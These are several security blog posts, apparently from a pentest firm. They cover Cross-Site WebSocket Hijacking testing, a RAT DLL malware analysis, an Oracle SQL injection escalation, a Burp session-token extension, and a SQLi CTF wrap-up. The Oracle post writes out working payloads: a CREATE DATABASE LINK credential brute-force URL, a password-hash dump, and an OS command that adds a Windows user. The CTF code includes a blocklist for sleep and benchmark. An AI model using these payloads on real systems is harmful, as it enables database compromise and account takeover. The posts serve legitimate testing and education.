How Cross-Site WebSocket Hijacking could lead to full Session Compromise

WebSockets is an HTML5 feature providing full-duplex communications channel over a single TCP connection. This enables building real-time applications by creating a persistent connection between the browser and the server. The most common use case for Websockets is when adding a chat functionality to a web application. This image below gives an apt pictorial representation for websockets (ref:



Recently we performed a security assessment of a fairly complex application with good number of menu options and features. The application was leveraging web-sockets for most of its operations. This effectively meant the the logs were not to be found in most of the http-proxy logs.

On visiting the homepage the site loads a static HTML page along with some JavaScript and CSS files. After this, the entire communication shifts to Websockets. A websocket connection is created to the server and this loads all the visible HTML sections of the website. Clicking on a link or submitting a form triggers the page to send several WebSocket messages to the server. The server inturn processes these messages and sends new HTML content through WebSocket messages, which is then displayed in the browser.

When websocket messages were captured it was evident that the number of messages were overwhelming. Adding to the fact that there was a short interval keep-alive message exchange after every 1 second. The existing tools were not up to the task. Hence I had to add a Websocket Message Analyzer and WebSocket client to IronWASP to understand this Websocket implementation and then fuzz it. You can read about it here.

On testing the app we discovered that it was vulnerable to Cross-Site WebSocket Hijacking (first discussed by christian schneider I will discuss the impact of this issue first before talking about how to test for it. The test for this is so simple that you can and must do it in the first 10 minutes of testing an application that uses Websockets.

It should be understood that Same Origin Policy (SOP) is NOT enforced on websockets via browser (pages loaded over SSL are prevented from making non-SSL WebSocket connections in some browsers). The application we tested relied on http cookies for session validation. The messages sent through WebSocket from the browser did not contain any Session ID or other random parameter.

So this means that if an user is already logged in to the vulnerable application from his/her browser and has open in a different tab then can try to create a WebSocket connection with the vulnerable application and the valid authenticated Session ID will be sent (by the browser) along with this request. So the WebSocket connection, which is now established by, will have the same level of access as the WebSocket created from within the vulnerable application.

As our entire application was running over websockets, hijacking the WebSocket would be equivalent to hijacking the user’s session. So in essence the impact was equivalent to that of Persistent Cross-Site Scripting.

If you thought that this is bad then you would be surprised to hear that in some cases Cross-Site WebSocket Scripting can even lead to remote code execution on the user’s system, like in the case of IPython Notebook.[]

Hopefully by now you are convinced that this is the first check you must perform on an application using WebSockets. Fortunately testing for this is very simple. You would need three pieces of information to perform this check:

  • The URL of the WebSocket connection. This starts with either ws:// or wss://
  • The Origin header that is used in creating this connection. This will be the Origin of the page that is making the making the WebSocket connection
  • Some messages sent by the browser and the server so we know what a normal connection looks like.

The image below shows how you can get the Origin and WebSocket URL values from IronWASP logs.


Once you have this information then you can do a check for Cross-Site WebSocket Hijacking in a few different ways. I will explain three simple methods:

  • Via Proxy Tools like Burp

It should be noted here that burp has interception and recording feature for WebSockets. ZAP and IronWASP are the only software so far (which I am aware) which has the capability to resend websocket requests.

In burp as already stated we cannot repeat the websockets messages however we could still test for it in a limited way by checking if a WebSocket handshake succeeds. To test this we need to identify the websocket upgrade request which occurs over http(s) connection and can be repeated.

Below screenshot shows a burp Repeater log showing Request and response for a valid request for websocket connection.


To test this flaw all we need to do is to send another request with a modified Origin header. If we received 101 Web Socket Protocol Handshake then it means the WebSocket connection has been established.

If the connection is not established then then it means the application is secure as it is rejecting WebSocket connections from external Origins. If the connection is established then we would have to perform further checks to confirm if the application is vulnerable to Cross-Site WebSocket Hijacking. Even if a connection is established the application is only vulnerable when it responds to WebSocket messages like it does for a connection from valid Origin. This is because the developer could have placed the Origin verification logic along with the access control checks. So the connection would still be established but external Origins won’t have access to authenticated data in such cases which is a good thing.


ZAP has the ability to resend messages but as far I am aware it does allow the tampering of the Origin headers. The methods shown below explain how you can perform a more thorough check for CSWSH.


  1. Using the Cross-Site WebSocket Hijacking Online Tester


Open the application to test in your browser and login to it. After this visit, open in a different tab, enter the WebSocket URL and hit ‘Connect’. Once the connection is established you must be able to send messages to the server from this page. Send messages that were captured from a valid session and see how the server responds. If the server responds in the same way as it did for the valid session then it most likely is vulnerable to Cross-Site WebSocket Hijacking.




3)   Using IronWASP

Using IronWASP’s WebSocket Client

When testing with the method described above the Origin that is sent to the server is If you want more flexibility in setting the Origin value then you can make use of IronWASP’s WebSocket Client utility. This let’s you define any Origin value you want and test the WebSocket connection. image013

This could come in handy in situations where the application might allow WebSocket connections from the application’s public Origin and along with connections from Origin values that are either equivalent to localhost or some internal private IP address. This could be to support developers and internal testers of the company. By using IronWASP’s WebSocket client you can try combinations of localhost or private IP addresses to see if it works. If it does then exploiting this issue in real-world scenarios could be a little tricky. For example if the application allows http:/ as the Origin then this could be exploited if the victim has a local webserver running on port 8080 which has an application with Cross-Site Scripting. If it does then an attacker could first perform an XSS on this locally host application and them from there create a WebSocket connection to the actual target server.


Automating the check with IronWASP’s WebSocket API

If you are going to check with different combinations of localhost and private IP addresses for the Origin header then it might be easier to automate this check with a custom script. IronWASP gives you the ability to script this in either Python or in Ruby.


For example the following script would check every single IP in the private IP address space as a Origin header value to see if it is accepted.

import clr
from WebsocketClient import *
def check_conn(origin):
    print "Testing origin - " + origin
    ws = SyncWebsockClient()
    ws.Connect("ws://", origin, "SessionID=KSDI2923EWE9DJSDS01212")
    ws.Send("first message to send")
    msg = ws.Read()
    if msg == "message that is part of valid session":
      print "Connection successful!!"
      return True
      return False

def check_nw():
  for nws in ["", "", ""]:
    for ip in Tools.NwToIp(nws):
      if check_conn("http://" + ip):


Malware Analysis


System Administrator finds a suspicious dll running named as “COM APPLICATION SUPPORT.DLL” and raises a security concern.

Static Analysis

We started the analysis by loading the file to check for any known packers. The output of the tool suggested against any such packers as shown below.


Loading the file in IDA we could see that all the functions were encrypted revealing no information about the behavior of the code. We were able to identify the following functions relevant to the DLL.


We were able to identify the function which has encrypting the binary and hence evading the AV’s for stealth operation on the system. The function in concern is shown below

As can be seen from the highlighted text above the key to decrypt certain parts of the DLL could be used. A IDAPython script was created to print the relevant details.

def decrypt(leng, loc, key):
    t1 = key
    t2 = key
    t3 = key
    t4 = key
    out = ''
    for i in range(leng):
        t1 = (t1 - (t1 << 0x3) - 0x3)&0xffffffff
        t2 = (t2 - (t2 << 0x5) - 0x5)&0xffffffff
        t3 = (t3 + (t3 << 0x7) + 0x7)&0xffffffff
        t4 = (t4 + (t4 << 0x9) + 0x9)&0xffffffff
        c = chr(Byte(loc) ^ ((t1 & 0xff) + (t2 & 0xff) + (t3 & 0xff) + (t4 & 0xff))&0xff)
        if ord(c) != 0:
            out = out + str(c)
        loc = loc + 1
    return out

func = 0x10006ab0

callers = list(CodeRefsTo(func, 1))
for i in range(len(callers)):
    neg = 0
    if Byte(callers[i] - 0x03) != 0x8D:
        neg = 3
    key = Dword(callers[i] - 0x0E - neg)
    size = Byte(callers[i] - 0x09 - neg)
    data = Dword(callers[i] - 0x07 - neg)
    dec = decrypt(size, data, key)
    print "%X   %s" % (callers[i], dec)
    #MakeComm(callers[i] - 0x08 - neg, dec)

We were then able to understand the operations that were being performed by the DLL.
The DLL could be run using one of 4 commands.
• Rundll32.exe malware.dll PteGa 0
o Persistent Install of Malware and Run
• Rundll32.exe malware.dll PteGa 1
o Persistent Install of Malware And Exit
• Rundll32.exe malware.dll PteGa 2
o Run Keylogger (%WINDIR%/SYSTEM32/intel.dat)
• Rundll32.exe malware.dll PteGa 3
o Control Other Threads on the System
The DLL has capabilities to adjust to different operating systems from XP-Windows8 and Server editions as well. It uses different methods to bypass UAC or gain privileges for persistence on the installed system.

Multiple malicious functions were found, some of the critical being
• CXSniffer::SnifferProc
o Starts network sniffer on the machine.
• CXFuncShell::ShellT
o Used to create a remote shell on the server granting complete control of machine.
• CXFuncTelnet::TelnetT
o A telnet server to send in commands.

Dynamic Analysis

During the dynamic analysis we found the server connected to a web server to seek for updates as shown below


The domain now resolves to Which indicates an inactive state of the Command and Control Server.
A POST request of the following format was being sent to the server.
Accept: */*
X-Session: 0
X-Status: 0
X-Size: 61456
X-Sn: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache


This malicious binary is a variant of the DESTROY RAT (Remote Administration Tool). The malware seems to have been deployed in other APT attacks mostly on the Industrial Sector. It offers a lot of functionality to the attacker some of which were shown in the above analysis.

Abusing Oracle’s CREATE DATABASE LINK privilege for fun and profit!

Oracle database (like any other database) offers functionality to create a database link via which you can connect to a remote database. You can then run a SQL Query on the remote database and get the results. This is exactly like the Openrowset/Openquery feature of MS-SQL.


NetSpi did a good job at documenting how to abuse MS-SQL openquery feature. During a recent pentest, we came across a SQLi in a web application which talks to Oracle database 11g R2. Desperate, as we were, to get a shell, this is how things unfolded:

Generic integer based blind SQLi in a web app
1. picked up by BurpPro
2. Exploitation in SQLmap didn’t work by default

Reason: SQLmap’s default boolean based injection works by issuing AND clauses:

select * from foo where id=5 and 1=1
select * from foo where id=5 and 1=2

Tip 1: This works 9 out of 10 times, but if the original entry id=5 does not return any records, you will miss SQLi. So just make the first entry return records by adding or 1=1

Sqlmap will complain:

"[13:24:41] [WARNING] it appears that you have provided tainted parameter values ('id=189881 or 1=1') with most probably leftover chars from manual SQL injection tests (;()') or non-valid numerical value. Please, always use only valid parameter values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] Y"

Ignore the warning and select Y to continue. Now sqlmap will do its bit and you can get SQL Shell and extract anything you want.

SQL-shell from SQLmap

SQL-shell from SQLmap

So, after looking inside the database, we find our user has limited privileges. The database also seemed to be reasonably patched. We are not DBA and while we can extract data held in the database, we cannot have too much fun! :(

As creators’ of SQLiLab we take great pride in researching new attacks and applying this research in our pentests. You can master SQLi and other injection flaws like LDAP, Xpath, XXE etc at our upcoming Black hat training class in Las Vegas. :)

So, carrying on we identify that the database user has these privileges:

select privilege from session_privs [17]:

Immediately, the privilege CREATE DATABASE LINK caught our attention. Note that Oracle’s SQL language do not allow you to write multiple statements. So, how are we going to create a DB_LINK in a SQLi which is probably in a Select statement? Check out our previous presentation on how to overcome this using function dbms_xmlquery.newcontext(). Using this function, we were able to create multiple links inside the database:

Tip 2: If you have CREATE DATABASE LINK privilege, you can use it in a web based SQLi to brute-force/guess a user login and if successful run a query as that user:

This is how the URL/attack would look like:

http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') from dual) is not null

After trying a few requests, we hit the jackpot. The user dbsnmp was enabled on the database with the default credential dbsnmp. We created a link as that user:

sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual

The user DBSNMP has privilege “Select ANY Dictionary”, which allows you to read password hashes stored in sys.user$

And now we are able to read password hashes:

sql-shell>select password from sys.user$@link2
[*] 286E1EA8F2CFD262
[*] 45B1C0C3BB1D853C
[*] 4A3BA55E08595C81

Note that DBSNMP user does not have DBA role and the only ‘useful’ privilege this user has is ‘select any dictionary’. Now that we have the hashes, we can crack the hash for system user and create a link with the credentials of system user:

sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK pwn CONNECT TO system IDENTIFIED BY system_password USING ''''ORCL_SID'''' '';commit;end;') from dual

Now we can basically issue any query with system privileges. Those who have an account in SQliLab, should have seen a number of ways to execute OS code against Oracle with DBA role. Here is one of my favourite using function SYS.KUPP$PROC.CREATE_MASTER_PROCESS():

sql-shell>select SYS.KUPP$PROC.CREATE_MASTER_PROCESS@pwn('DBMS_SCHEDULER.create_program(''myprog10'',''EXECUTABLE'',''net user pwnedfromweb pwn3d!! /add'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=>''myjob10'',program_name=>''myprog10'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''myprog10'');dbms_scheduler.purge_log;') from dual

Here we are executing the function SYS.KUPP$PROC.CREATE_MASTER_PROCESS() as SYS user via our DB_LINK ‘pwn’. Only DBA users have access to this function.
And then, we had a shell! :)

oracle hacking

Get in touch if you would like us to assess your application security.

Pentesting Web Service with anti CSRF token using BurpPro

Recently we encountered a scenario where we were pen-testing a web service endpoint which employed a per request session-id which acted like a anti-CSRF token. This meant that a fresh id was issues for each request. If the session id was not correct in next request then user was logged out.

This looks too good from security standpoint and comes out as a dream for a security evangelist’s. However such situations come across as nightmares for security pentesters. Most of our automated tools fail to work including our beloved BurpSuitePro.

Some details about the application are listed below.

The API had multiple endpoints, all except the login required a session token in soap body. Session token was first issued when you send a login request, and subsequently with every request a new sessionid was provided in SOAP response body.
Example Request response sequence is shown below.

  1. Initial Login Request with no token but username and password
    Initial Request with username and password

    Initial Request with username and password

  2. Initial Response with Session-id token
    Initial Response with sessionid in response

    Initial Response with sessionid in response

  3. next request containing session-id token from initial response
    Next request with inital sessionid added as header

    Next request with inital sessionid added as header

Multiple people have already taken a jab at the similar problem and have suggested multiple solutions. A quick google search for “anti CSRF + Burp” will yield multiple results all providing similar solutions.
However things got interesting for us as we needed the request to be in XML structure and Burp as of now only support GET / POST parameter and doesn’t support setting values of XML parameter (It does a pretty good job of doing the same in intruder via arbitrary position selection but for scanner it is not possible at this point using burp).

Few others have also encountered similar situation before but no solution was publicly available so we sat down to write a solution and make it available for all.

So we ended up writing a small extension to do the job for us.

The core issue for us was the fact that

  1. Burp doesn’t allows for arbitrary location payload positioning while in scanner mode.
  2. The token was changing with every request.

So here is what we ended up with.

  1. A session handling extension. (performs token extraction and reuse it in next request)
  2. A Macro to perform login request, then pass the response to session handling extension which will place value into the XML body inside predefined tags. Macro has to be enabled for scanner
  3. In order to ensure good coverage and not random checks its advised to first send the request to intruder and select the xml elements you need to be checked. (avoid selecting session id for scanning as this will be overwritten)
  4.  Run the active scan using “active scan defined insertion points” option.

Python code for the Extension that we built

from burp import IBurpExtender
from burp import ISessionHandlingAction
from burp import IParameter
import re
class BurpExtender(IBurpExtender, ISessionHandlingAction):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Webservice session token extractor and repeater")
    def performAction(self, currentRequest, macroItems):
        requestInfo = self._helpers.analyzeRequest(currentRequest)
        headers = requestInfo.getHeaders()
        cookieList = self._callbacks.getCookieJarContents()
        msgBody = currentRequest.getRequest()[requestInfo.getBodyOffset():]
        msg = self._helpers.bytesToString(msgBody)
        msg = re.sub(r'(<sessionId>).*(</sessionId>)',r'\1' + "".join(sess_id) + r'\2',msg)
        msgBody = self._helpers.stringToBytes(msg)
        message = self._helpers.buildHttpMessage(headers, msgBody)

So Step by Step guide to configure this is below.

  1. Make sure Burp is configured with Jython standalone jar. (We recommend using 2.7b1 version available for download here)

    Ensure Python Environment is setup in Burp

    Ensure Python Environment is setup in Burp

  2. Save the above code listed in a .py file
  3. Load the extension in Burp

    Loading python extension in Burp

    Loading python extension in Burp

  4. We also recommend loading either “Custom Logger” or “Logger++” to ensure you are able to see the active request response sent from Scanner.

    Logging Extension for viewing Request Response from Scanner

    Logging Extension for viewing Request Response from Scanner

  5. Once all these are loaded you need to create a session handling macro which will perform the session initiation request.

    Burp Macro Creation Process Step 1

    Burp Macro Creation Process Step 1

  6. As soon as you click on Add Macro button multiple windows will open and top windows is macro recording window. This window can be used to select the existing login request or record a new login request.

    Burp Macro Creation Process Step 2

    Burp Macro Creation Process Step 2

  7. Once the request for Login is select we will have a windows listing the request place a unique name for the macro and select OK to close the windows.

    Burp Macro Creation Process Step 3

    Burp Macro Creation Process Step 3

  8. Now we need to configure a Session handling rule. Provide a unique name as session rule name and then under rule action click on Add => “Run a macro”.

    Burp Session Handling Rule Step 1

    Burp Session Handling Rule Step 1

  9. Selecting this option will open a new window showing all the available macro that can be used and some other options too. Here we need to select the previously created macro and select last option which says “After running the macro invoke a Burp Extension Handler” and in the drop-down list you should see an option “web-service session token extractor and repeater” select the entry.

    Burp Session Handling Rule Step 2

    Burp Session Handling Rule Step 2

  10. You will again reach the session handling rule editor, select the second tab i.e. “Scope”, here we deselect all tools except Scanner and we select the scope as suite scope. You can define custom scope if you want.

    Burp Session Handling Rule Step 3

    Burp Session Handling Rule Step 3

  11. Now you are ready to use the scanner. Select the request that you want to investigate and send it to intruder. Clear all preselected insertion points and add your own fuzzing points and then right click and select “active scan defined insertion point”
  12. Here while scanner is running to check if the plugin is working as expected or not you can use the custom logger / logger++ plugin we installed before. They will list all requests made from scanner in similar to proxy history method.

There is a caveats that is to be kept in mind. As every request would be accompanied by another login request and hence the request count will be double i.e for test which need 100 requests we will be making 200 requests hence expect slow scan.

However in my understanding the advantages out-weights the caveats.

Happy Web-service Hunting

While we are at webservice testing here is a Bonus tip from our side:
While nothing beats SOAP-UI in SOAP request generation we encountered a problem when we wanted to force SOAP-UI via Burp. Soap-UI was not able to make a SSL request as the Burp SSL certificate was not recognized by JAVA cert store and gave Peer not authenticated error.

SOAP-UI Peer SSL Error

SOAP-UI Peer SSL Error

Here is a bonus trick to get around this error.
Open your Burp proxy settings via Proxy => Options => Proxy Listeners (Edit) => Request Handling => Select Force use of SSL.
Now go back to SOAPUI and change endpoint from https to http and port 443 ie. soap action http://host:443/?WSDL and the service will work flawlessly.

If you would like the NotSoSecure team to assess your web applications, please get in touch with us.

SqliLab CTF, Wrap Up!


As you would have noticed from the noise on twitter and other channels, the 2nd public CTF was a major success. Over 3000 registrations, ~7K unique IPs, 7 GB of log (in 3 days) and heaps of fun. As with anything, we had some un-wanted visitors, who tried to take the CTF down with a DNS amplification DDoS attack. The Site’s performance was affected but nevertheless the CTF was active and we provided some extra time to make up for the down-time.

So, just to wrap-up. The CTF had 2 objectives. Those who obtained both the flags ended up on the leader-board. We will wait for the winners to publish their individual write-ups. In the mean-time, here is sneak up into the code/vulnerabilities.

Both the Flags were based on existing challenges in our SQli Lab. SQLi lab is an awesome place to learn and master SQL Injection. 4 databases, 27 challenges, 90 objectives and heaps of fun!

Okay, with marketing done, lets dive into the CTF. The 2 vulnerabilities on which CTF was based were:

1. Column Truncation
2. Double decode SQL Injection

The 2nd flag was particularly tricky to get and most people had difficulty getting it.


Here is some code from the application:

$query = "Insert into temp values('".$comments."','".urldecode($url)."')";

The trick here is to identify the following:

1. The attack surface is not just the HTTP parameters but other headers (e.g.Referer).
2. Application is doing a urldecode on the header value after validation.

Thus, %27 (‘) gets escaped by mysql_real_escape_string() whereas %2527 doesn’t get escaped and urldecode converts it to %27 which triggers the vulnerability. Its actually common for apps to perform URLdecode on data coming from fields such as Referer. Both the vulnerabilities have affected popular applications like wordpress and we have these vulnerabilities in custom applications during our pentest.

We didn’t want people to run benchmark() and sleep() against the database, so we decided to blacklist it:

$patterns = array('sleep','benchmark');
$patterns_flattened = implode('|', $patterns);
if (preg_match('/'.$patterns_flattened .'/i',urldecode($url)))
{echo 'Attack detected';

This made identifying the vulnerability a bit difficult. But the fact that you could see blacklisted functions gave participants a clue that this header could potentially be vulnerable. Further, you can get a feedback from the application depending on whether the SQL returned error or not.

$result = mysqli_query($dbConnection, $query);

if ($result) {

echo "Thanks!, we will be in touch...";

echo "Error Occured :(";

We will leave the CTF link live for another few days for people to have a go at it. We are not accepting any submissions now. Thanks all for playing!

Finally, if you are interested in the topic of Injection Flaws, you can register for our class at Black Hat Las Vegas 2014.

A full write-up on CTF can be found here